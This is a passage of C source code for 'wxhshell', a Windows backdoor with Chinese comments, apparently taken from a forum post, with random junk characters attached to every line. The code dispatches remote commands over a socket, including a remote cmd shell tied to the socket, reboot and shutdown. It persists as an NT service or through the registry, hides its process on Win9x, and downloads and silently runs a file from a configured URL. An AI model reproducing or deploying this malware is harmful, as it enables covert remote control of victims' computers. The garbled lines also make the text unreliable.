  // 帮助 K0bh;I  
  case '?': { i9FtS7  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 5PXo1"n8T  
    break; Q[U_ 0O,A9  
  } =Lyo]8>,X  
  // 安装 Nr(3!-  
  case 'i': { %C^%Oq_k  
    if(Install()) /Wqx@#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jj&4Sv#>  
    else FID4@--  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |>2IgTh1a  
    break; zLa3Q\T  
    } [Q+qu>&HB7  
  // 卸载 RaNz)]+7`  
  case 'r': { ".=LzjE<gv  
    if(Uninstall()) 5W29oz}-S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ag \d4y6  
    else Y=-ILN("  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ju= +!nGUa  
    break; >.]' N:5  
    } QV@NA@;XZ  
  // 显示 wxhshell 所在路径 B,Gt6c Uq  
  case 'p': { |0jmOcZF  
    char svExeFile[MAX_PATH]; !^ /Mn  
    strcpy(svExeFile,"\n\r"); ZX Sl+k .  
      strcat(svExeFile,ExeFile); p>c`GDU  
        send(wsh,svExeFile,strlen(svExeFile),0); .}V&*-ep  
    break; ,%a7sk<5k  
    } hDf|9}/UQd  
  // 重启 ;C+g)BW  
  case 'b': { 53w@  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ;N FTdP  
    if(Boot(REBOOT)) =b* Is,R/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .M$}.v  
    else { Z_F}Y2-w9  
    closesocket(wsh); ~SW_jiKM  
    ExitThread(0); }}VB#   
    } jD eNCJ  
    break; %%w/;o!c  
    } jW G=k#WN  
  // 关机 / W,K% s]  
  case 'd': { `S{Blv  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); R1%2]?  
    if(Boot(SHUTDOWN)) {MaFv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l6C^,xU~IX  
    else { $j\UD8Hj'-  
    closesocket(wsh); <R?_Yjsw  
    ExitThread(0); (Wm4JmX%  
    } <%2A, Vz"  
    break; EpO5 _T_  
    } _E{hB  
  // 获取shell P=j89-e  
  case 's': { q Pc"A!-i  
    CmdShell(wsh); {Va "o~io  
    closesocket(wsh); $YyN-C  
    ExitThread(0); F9|\(St &  
    break; > WsRCBA  
  } 8?S)>-mwv  
  // 退出 MwlhL?  
  case 'x': { _H41qKS{Ul  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); <$\En[u0  
    CloseIt(wsh); &!kr &g#]  
    break; =eXJZPR  
    } *vss  
  // 离开 mu(EmAoenQ  
  case 'q': { 2eOde(K+  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); zgdOugmmt_  
    closesocket(wsh); {Y%X  
    WSACleanup(); Z{|U!tn  
    exit(1); XU}|Ud562  
    break; UBUZ}ZIbN  
        }  pzMli ^  
  } y'9 bs  
  } & m'ttUG?  
?d -$lI  
  // 提示信息 3xJ_%AD\'  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~\ 9bh6%R  
} CS:mO |  
  } "z^&>#F  
5Y4 i|R  
  return; zLs[vg.(  
} LZCziW  
l1|z; $_z  
// shell模块句柄 "SuBtoK  
int CmdShell(SOCKET sock) QX*HvT  
{ jZm57{C#*?  
STARTUPINFO si; AU@XpaPWh  
ZeroMemory(&si,sizeof(si)); 2#n4t2 p  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; K,>D%mJ  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ?5%|YsJP_  
PROCESS_INFORMATION ProcessInfo; _%)v9}D  
char cmdline[]="cmd"; %#.H FK  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 4DL;/Z:  
  return 0; .Jt&6N  
} =Of!1TR(  
*N0R3da  
// 自身启动模式 1,p[4k~Ww  
int StartFromService(void) $?l?  
{ sW":~=H  
typedef struct O MEPF2:  
{ a;a2x .<  
  DWORD ExitStatus; CaZ{UGokL  
  DWORD PebBaseAddress; ccWz,[  
  DWORD AffinityMask; }NMkL l]J  
  DWORD BasePriority; y s5b34JN  
  ULONG UniqueProcessId; G?Y2 b  
  ULONG InheritedFromUniqueProcessId; w%no6 ;  
}   PROCESS_BASIC_INFORMATION; {=AK  |  
;P-xKRU!Xx  
PROCNTQSIP NtQueryInformationProcess; yK +&1U2`  
yTDlDOmV!  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; V}l >p?  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; }ST9&w i~  
M'=27!D^  
  HANDLE             hProcess; *3hqz<p4:  
  PROCESS_BASIC_INFORMATION pbi; 3f`+ -&|M  
UGy~Ecv  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); glk_ *x  
  if(NULL == hInst ) return 0; <t{T]i+  
v'C`;I  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); !O=J8;oLk  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); U!"+~d)  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); U$J l5[`F^  
nj*B-M\p  
  if (!NtQueryInformationProcess) return 0; H1PW/AW  
Q?GmSeUi  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); !s;+6Sy  
  if(!hProcess) return 0; {*8'bNJ  
! K~PH  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; V  `KXfY  
=OIx G}*  
  CloseHandle(hProcess); 7XE/bhe%S  
"}i\" x;s  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 8J:6uO c|  
if(hProcess==NULL) return 0; ':71;^zXf  
"WTnC0<  
HMODULE hMod; */Oq$3QGsV  
char procName[255]; vj I>TIy  
unsigned long cbNeeded; w0x%7mg@  
UW+|1Bj_:  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); R qS2Qo]  
T!uK _  
  CloseHandle(hProcess); fiSc\C~  
cvpcadN[  
if(strstr(procName,"services")) return 1; // 以服务启动 =GpO }t">  
c <[?Z7y  
  return 0; // 注册表启动 }>cQ}6n.  
} sKhX0,s&  
.(tga&]  
// 主模块 Vcg$H8m  
int StartWxhshell(LPSTR lpCmdLine) gqaENU>  
{ P`HE3?r  
  SOCKET wsl; DWep5$>&K  
BOOL val=TRUE; n&=3Knbd@d  
  int port=0; lvi~GZ  
  struct sockaddr_in door; ;T!mNKl  
%+iJpRK)7  
  if(wscfg.ws_autoins) Install(); d%Zt]1$  
7d?'~}j  
port=atoi(lpCmdLine); w!7f*  
?]}1FP  
if(port<=0) port=wscfg.ws_port; xBhfC!AK}  
e2Sudd=' G  
  WSADATA data; 9l?#ZuGXp  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; O $uXQ.r  
B:=*lU.n  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   q<rB(j-(  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Ti }Ljp^O  
  door.sin_family = AF_INET; i,BE]w  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); F>,kKR-  
  door.sin_port = htons(port); !tGXh9g  
f)\ =LV  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { `Td0R!  
closesocket(wsl); w%Tcx^:  
return 1; Wyf+xr'Ky  
} qG=9zp4y?Y  
n%I%O7  
  if(listen(wsl,2) == INVALID_SOCKET) { i{w<4E3  
closesocket(wsl);  KTd,^h  
return 1; yZbO{PMr  
} <U=:N~L  
  Wxhshell(wsl); N=&~3k  
  WSACleanup(); Dh0`t@  
h >w4{u0  
return 0; }tT"vCu  
QfJ?'*  
} P ?dE\Po7  
0[g8  
// 以NT服务方式启动 /i|T\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) R_ojK&%  
{ b>AFhj:  
DWORD   status = 0; &Ib8xwb:  
  DWORD   specificError = 0xfffffff; >h/J{T(P>h  
!L"3Otd  
  serviceStatus.dwServiceType     = SERVICE_WIN32; :e:jILQ[  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ~HsPYc8Fz  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; .,[zI@9  
  serviceStatus.dwWin32ExitCode     = 0; ;w@PnY  
  serviceStatus.dwServiceSpecificExitCode = 0; A/Kw"l>  
  serviceStatus.dwCheckPoint       = 0; EoqUFa,  
  serviceStatus.dwWaitHint       = 0; =h^cfyj  
}!b9L]  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ]%m0PU#  
  if (hServiceStatusHandle==0) return; q bb:)>  
wE:hl  
status = GetLastError(); ig^9lM'  
  if (status!=NO_ERROR) y\b.0-z  
{ QIVpO /@  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Fn*clx<  
    serviceStatus.dwCheckPoint       = 0; l?v-9l M  
    serviceStatus.dwWaitHint       = 0; ,9gyHQ~  
    serviceStatus.dwWin32ExitCode     = status; Fxy-_%a  
    serviceStatus.dwServiceSpecificExitCode = specificError; g5/%}8[- 2  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); |*"uj  
    return; k6-Q3W[+a  
  } vRYQ4B4o  
-J4?Km  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ^EE 3E'  
  serviceStatus.dwCheckPoint       = 0; Y[9x\6 _E  
  serviceStatus.dwWaitHint       = 0; >I Aw Nr  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); l2KR=& SX/  
} a0OH  
Asicf{HaX  
// 处理NT服务事件,比如:启动、停止 ipnvw4+  
VOID WINAPI NTServiceHandler(DWORD fdwControl) .?9+1.`  
{ ?c0OrvM  
switch(fdwControl) @yPa9Ug(V  
{ K~OfC  
case SERVICE_CONTROL_STOP: v:(_-8:F  
  serviceStatus.dwWin32ExitCode = 0;  @*'|8%  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 703=.xj  
  serviceStatus.dwCheckPoint   = 0; i/R8Gb  
  serviceStatus.dwWaitHint     = 0; O`U&0lKi'  
  { Oz!#);v  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); M0DdrL/ L  
  } &mDKpYrB  
  return; \[oU7r}?/V  
case SERVICE_CONTROL_PAUSE: {`BC$V  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 9'C kV[  
  break; D`PnY&ffT  
case SERVICE_CONTROL_CONTINUE: EAp6IhW{  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Udv5Y  
  break; f sAgXv  
case SERVICE_CONTROL_INTERROGATE: nk9Kq\2f:  
  break; gUzCDB^.:  
}; qlmz@kTb  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); pXPwn(  
} J6/Mm7R  
RRig  
// 标准应用程序主函数 vU LlAQG  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) IwhZzw w  
{ S',i  
kxp$Nnk  
// 获取操作系统版本 {X<mr~  
OsIsNt=GetOsVer(); 7F.t>$'  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 'm9f:iTr  
h.FC:ym"  
  // 从命令行安装 6b4Kcl<i  
  if(strpbrk(lpCmdLine,"iI")) Install(); <_-&{Pv  
)vO;=% GQ  
  // 下载执行文件 cZT;VmC  
if(wscfg.ws_downexe) { ZvEcExA-  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) P|YBCH  
  WinExec(wscfg.ws_filenam,SW_HIDE); z|[#6X6tT  
} x&7% U  
&#aQ mgDF  
if(!OsIsNt) { >lQ&^9EI%  
// 如果时win9x,隐藏进程并且设置为注册表启动 2 |w;4  
HideProc(); _XIls*6AK  
StartWxhshell(lpCmdLine); T1m'+^?"  
} t QkEJ pj  
else $>1 'pV  
  if(StartFromService()) gBz$RfyF  
  // 以服务方式启动 Ac!,#Fq  
  StartServiceCtrlDispatcher(DispatchTable); )[Bwr bn  
else ~fB}v  
  // 普通方式启动 _,(]T&j #2  
  StartWxhshell(lpCmdLine); 3UgusH3  
epp ;~(xr  
return 0; | iEhe  
}
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只看该作者 1 发表于: 2006-10-10
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